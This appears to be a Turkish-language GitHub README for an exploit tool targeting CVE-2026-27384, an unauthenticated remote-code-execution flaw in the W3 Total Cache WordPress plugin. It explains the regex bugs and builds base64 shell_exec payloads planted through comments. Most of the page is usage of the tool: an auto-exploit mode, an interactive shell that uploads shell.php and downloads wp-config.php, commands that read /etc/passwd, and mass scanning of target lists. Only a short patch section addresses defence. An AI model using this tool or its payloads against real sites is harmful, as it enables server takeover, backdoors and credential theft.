xxconi/CVE-2026-27384

GitHub: xxconi/CVE-2026-27384

Stars: 0 | Forks: 0

# CVE-2026-27384 # CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE Scanner ## 📌 Zafiyet Özeti W3 Total Cache eklentisinin **Dynamic Fragment Caching** özelliği (`mfunc/mclude` sistemi), HTML yorumları içine gömülü PHP kodunu `eval()` ile çalıştırır. Bu özelliği koruması gereken `W3TC_DYNAMIC_SECURITY` token'ı, birden fazla kod hatasının bir araya gelmesiyle bypass edilebilir. **Sonuç:** Kimlik doğrulama gerektirmeden, yalnızca bir WordPress yorumu göndererek sunucuda keyfi PHP kodu çalıştırılabilir. ## 🔍 Zafiyet Özet Tablosu | Alan | Değer | |---|---| | **CVE ID** | CVE-2026-27384 | | **CVSS** | 9.8 Critical | | **Tür** | Code Injection → RCE (CWE-94) | | **Etkilenen Sürüm** | <= 2.9.1 | | **Yamalı Sürüm** | 2.9.2 | | **Kimlik Doğrulama** | Gerekmez | | **Kullanıcı Etkileşimi** | Gerekmez | | **Ön Koşul** | W3TC_DYNAMIC_SECURITY regex metacharacter içermeli | ## ⚙️ Teknik Analiz ### Özellik: mfunc / mclude W3TC'nin Dynamic Fragment Caching özelliği, geliştiricilerin sayfa HTML'ine özel yorum etiketleri aracılığıyla PHP kodu gömmesine izin verir: W3TC bu etiketleri cache'den sayfa sunarken işler: gömülü PHP `eval()` ile çalıştırılır, çıktısı yorum bloğunun yerine yazılır. ### Bug 1 — `preg_quote()` Eksikliği (`PgCache_ContentGrabber.php`) // VULNERABLE — 2.9.1 public function _parse_dynamic( $buffer ) { $buffer = preg_replace_callback( // ❌ W3TC_DYNAMIC_SECURITY doğrudan regex'e ekleniyor // preg_quote() YOK → token regex pattern gibi davranır '~~Uis', array( $this, '_parse_dynamic_mfunc' ), $buffer ); } Token `'.'` ise regex `` olur → **herhangi bir tek karakter** token yerine geçer. ### Bug 2 — `\s*` vs `\s+` Uyumsuzluğu | Fonksiyon | Pattern | Davranış | |---|---|---| | `_parse_dynamic()` — **çalıştırır** | `mfunc\s*TOKEN` | 0 boşluk kabul ✅ | | `strip_dynamic_fragment_tags_from_string()` — **temizler** | `mfunc\s+TOKEN` | En az 1 boşluk zorunlu ❌ | Saldırgan payload: ↑ mfunc ile token arasında BOŞLUK YOK strip fonksiyonu: \s+ → eşleşmez → payload KALIR execution regex: \s* → eşleşir → eval() ÇALIŞIR ### Bug 3 — Eksik Token Doğrulaması (`_has_dynamic()`) // VULNERABLE — 2.9.1 public function _has_dynamic( $buffer ) { // ❌ Sadece defined() kontrolü — empty() veya metacharacter kontrolü YOK if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) { return false; } return preg_match( '~~Uis', $buffer ); } ### Tam Saldırı Zinciri W3TC_DYNAMIC_SECURITY = '.' (regex metacharacter — herhangi bir karakter) │ ▼ Saldırgan yorum gönderir: │ ▼ strip_dynamic_fragment_tags_from_string() Pattern: mfunc\s+[^\s]+ → \s+ gerektirir, boşluk yok → ATLATILDI ✅ │ ▼ Yorum veritabanına kaydedilir, sayfa cache'lenir │ ▼ İkinci HTTP isteği → W3TC cache'den sunar _has_dynamic() → mfunc\s*. → 'A' eşleşir → true döner │ ▼ _parse_dynamic() → preg_replace_callback Pattern: mfunc\s*. → 'A' eşleşir │ ▼ _parse_dynamic_mfunc() → eval("echo shell_exec('id');") │ ▼ uid=33(www-data) gid=33(www-data) groups=33(www-data) → Unauthenticated RCE ✓ ## 🔴 Saldırı Etkisi Kimlik doğrulaması olmadan sunucuda web sunucusu yetkisiyle keyfi PHP kodu çalıştırılabilir: - ✅ Tam sunucu ele geçirme - ✅ WordPress dosyaları ve veritabanı okuma/yazma/silme - ✅ Web shell / backdoor kurma - ✅ İç ağa pivot - ✅ Kimlik bilgileri, API anahtarları, kullanıcı verisi sızdırma ## 🚀 Kurulum git clone https://github.com/kullanici/cve-2026-27384 cd cve-2026-27384 pip install -r requirements.txt **requirements.txt** requests beautifulsoup4 ## 📖 Kullanım ### Modlar | Mod | Açıklama | |---|---| | `auto` | Siteyi tara → yorum sayfası bul → exploit et (varsayılan) | | `exploit` | Direkt exploit — post URL ile | | `shell` | İnteraktif shell | | `detect` | Sadece W3TC tespiti | ### Auto Mod — Her Şey Otomatik python w3tc_rce.py https://hedef.com Tarayıcı şunları yapar: 1. W3TC kurulu mu kontrol eder 2. Sitemap + link takibi ile yorum formu olan sayfaları bulur 3. Her sayfaya 48 payload varyantı dener 4. Başarılı olursa shell açmayı teklif eder ### Exploit Modu — Direkt # id komutu python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd id # /etc/passwd oku python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd "cat /etc/passwd" # wp-config.php oku python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --cmd "cat /var/www/html/wp-config.php" # Post ID manuel python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/merhaba-dunya/ \ --post-id 1 \ --cmd whoami ### Shell Modu — İnteraktif python w3tc_rce.py https://hedef.com \ --mode shell \ --post-url https://hedef.com/?p=1 Shell açıldığında otomatik olarak `whoami`, `hostname`, `pwd`, `uname -a` çalıştırılır: ================================================================= CVE-2026-27384 — W3TC mfunc Interactive Shell URL : https://hedef.com/?p=1 Payload: b64_shell_exec (bypass='A') ================================================================= User : www-data Host : web01.hedef.com PWD : /var/www/html OS : Linux web01 5.15.0-91-generic #101-Ubuntu SMP ================================================================= Komutlar: exit | upload | download ================================================================= ┌──(w3tc@hedef.com) └─$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) ┌──(w3tc@hedef.com) └─$ upload shell.php /var/www/html/shell.php [+] Upload: shell.php → /var/www/html/shell.php ┌──(w3tc@hedef.com) └─$ download /var/www/html/wp-config.php [+] Download: wp-config.php → wp-config.php (4821 bytes) ### Detect Modu — Sadece Tespit python w3tc_rce.py https://hedef.com --mode detect [+] W3TC kurulu! Sürüm : 2.9.1 Cache : True [!] Sürüm 2.9.1 ZAFİYETLİ (<= 2.9.1)! ### Toplu Tarama python w3tc_rce.py --list targets.txt -t 10 -o sonuclar.txt ### Proxy ile (Burp Suite) python w3tc_rce.py https://hedef.com \ --mode exploit \ --post-url https://hedef.com/?p=1 \ --proxy http://127.0.0.1:8080 \ -v ## ⚙️ Tüm Parametreler | Parametre | Kısa | Açıklama | Varsayılan | |---|---|---|---| | `url` | — | Tekil hedef URL | — | | `--list` | `-l` | Hedef listesi dosyası | — | | `--mode` | — | Çalışma modu | `auto` | | `--cmd` | — | Çalıştırılacak komut | `id` | | `--post-url` | — | Yorum olan sayfa URL | — | | `--post-id` | — | WordPress post ID | — | | `--max-pages` | — | Spider max sayfa | `50` | | `--threads` | `-t` | Thread sayısı | `10` | | `--output` | `-o` | Çıktı dosyası | `w3tc_results.txt` | | `--proxy` | — | Proxy URL | — | | `--no-color` | — | Renksiz çıktı | `False` | | `--verbose` | `-v` | Detaylı çıktı | `False` | ## 💀 Payload Yapısı ### mfunc No-Space Bypass Standart tag (strip tarafından yakalanır): ↑ boşluk var → \s+ eşleşir → strip siler Bypass tag (strip'i atlatır, eval() çalışır): ↑ boşluk YOK → \s+ eşleşmez → strip ATLAR \s* eşleşir → eval() ÇALIŞIR ### Base64 Encoding PHP kodu HTML encoding sorunlarını önlemek için base64 encode edilir: # Komut: id b64_cmd = base64.b64encode(b"id").decode() # → "aWQ=" php_code = f"echo shell_exec(base64_decode('{b64_cmd}'));" # → echo shell_exec(base64_decode('aWQ=')); payload = f"" ### 48 Payload Varyantı | Grup | Fonksiyon | Bypass Char | Encoding | |---|---|---|---| | b64_shell_exec | `shell_exec` | A, B, X, 1 | Base64 | | b64_system | `system` | A, B, X, 1 | Base64 | | b64_passthru | `passthru` | A, B, X, 1 | Base64 | | b64_exec | `exec` | A, B, X, 1 | Base64 | | b64_popen | `popen` | A, B, X, 1 | Base64 | | raw_* | Tüm fonksiyonlar | A, B, X, 1 | Ham | ## 🔄 Exploit Akışı 1. W3TC Tespiti └─ readme.txt, header, body, plugin dizini 2. Yorum Sistemi Tespiti └─ HTML form, REST API, post ID 3. Payload Enjeksiyonu (48 varyant) ├─ REST API: POST /wp-json/wp/v2/comments └─ HTML Form: POST /wp-comments-post.php 4. Cache Tetikleme ├─ 1. istek → cache miss → sayfa render → cache'lenir └─ 2. istek → cache hit → _parse_dynamic() → eval() 5. Çıktı Çıkarma └─ uid=, whoami, /path/, passwd, wp-config... ## 🖥️ Örnek Çıktılar ### Auto Mod ================================================================= CVE-2026-27384 — W3 Total Cache mfunc/eval() RCE ================================================================= [*] Hedef: https://hedef.com Crawling: [████████████████████] 100% (50/50) | 8.3/s [+] Yorum sayfası: https://hedef.com/?p=1 (post_id=1) [1] W3TC tespiti... [+] W3TC bulundu! Sürüm: 2.9.1 [2] Yorum sistemi tespiti... [+] Post ID: 1 | Form: True | REST: True [3] Payload enjeksiyonu (id)... [i] 48 payload varyantı hazır [4] Cache tetikleniyor... [★] RCE BAŞARILI! ========================================================= URL : https://hedef.com/?p=1 Payload : b64_shell_exec (bypass='A') Komut : id Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data) ========================================================= [+] Sonuçlar kaydedildi → w3tc_results.txt [?] Shell aç? (y/n): ### Toplu Tarama Özeti Scanning: [████████████████████] 100% (100/100) | 4.2/s [★] 7 zafiyet bulundu! [+] Sonuçlar kaydedildi → w3tc_results.txt ## 📁 Dosya Yapısı cve-2026-27384/ ├── w3tc_rce.py # Ana scanner ├── requirements.txt # Bağımlılıklar └── README.md # Bu dosya ## 🛡️ Savunma / Yama | Önlem | Açıklama | |---|---| | **Eklenti Güncellemesi** | W3 Total Cache 2.9.2+ sürümüne yükselt | | **mfunc Devre Dışı** | `W3TC_DYNAMIC_SECURITY` tanımlanmamışsa özellik çalışmaz | | **Güçlü Token** | Token yalnızca alfanümerik karakterler içermeli (`[a-zA-Z0-9_]+`) | **Güvenli token örneği (`wp-config.php`):** // ❌ Tehlikeli — regex metacharacter define('W3TC_DYNAMIC_SECURITY', '.'); define('W3TC_DYNAMIC_SECURITY', '.*'); // ✅ Güvenli — alfanümerik define('W3TC_DYNAMIC_SECURITY', 'xK9mP2qR7nL4wT8v'); **2.9.2 yaması (`_parse_dynamic()`):** // PATCHED — 2.9.2 $token = preg_quote( W3TC_DYNAMIC_SECURITY, '~' ); // ✅ preg_quote eklendi $buffer = preg_replace_callback( '~~Uis', // ✅ \s+ (en az 1 boşluk) ... ); ## ⚠️ Yasal Uyarı ## 📄 Lisans MIT License — Yalnızca eğitim ve araştırma amaçlıdır. ## 🔗 Referanslar - [Wordfence Advisory](https://www.wordfence.com/threat-intel/vulnerabilities/) - [W3 Total Cache Plugin](https://wordpress.org/plugins/w3-total-cache/) - [CODE WHITE GmbH](https://code-white.com) - [CWE-94: Improper Control of Code Generation](https://cwe.mitre.org/data/definitions/94.html) - [OWASP Code Injection](https://owasp.org/www-community/attacks/Code_Injection) - [PHP eval() Security](https://www.php.net/manual/en/function.eval.php) - [PHP preg_quote()](https://www.php.net/manual/en/function.preg-quote.php)